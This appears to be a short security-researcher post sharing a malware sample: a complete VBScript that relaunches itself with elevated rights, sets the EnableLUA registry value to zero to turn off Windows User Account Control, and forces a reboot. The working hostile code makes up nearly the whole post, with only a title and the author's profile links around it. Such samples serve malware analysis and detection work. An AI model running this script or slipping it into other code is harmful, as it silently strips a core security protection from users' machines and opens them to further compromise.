Malware VBS script disabling UAC

Malware VBS script disabling UAC
*******
If WScript.Arguments.length =0 Then
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
Else
Const UAC_DISABLE = 0
Const UAC_REGKEY = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA"
Set Shell = CreateObject( "WScript.Shell" )
Shell.RegWrite UAC_REGKEY, UAC_DISABLE, "REG_DWORD"
Shell.Run "C:\WINDOWS\system32\shutdown.exe -r -t 10"
end if

*******
*******
*******
More FROM @neonprimetime security

http://pastebin.com/u/Neonprimetime
https://www.virustotal.com/en/USER/neonprimetime/
https://twitter.com/neonprimetime
https://www.reddit.com/USER/neonprimetime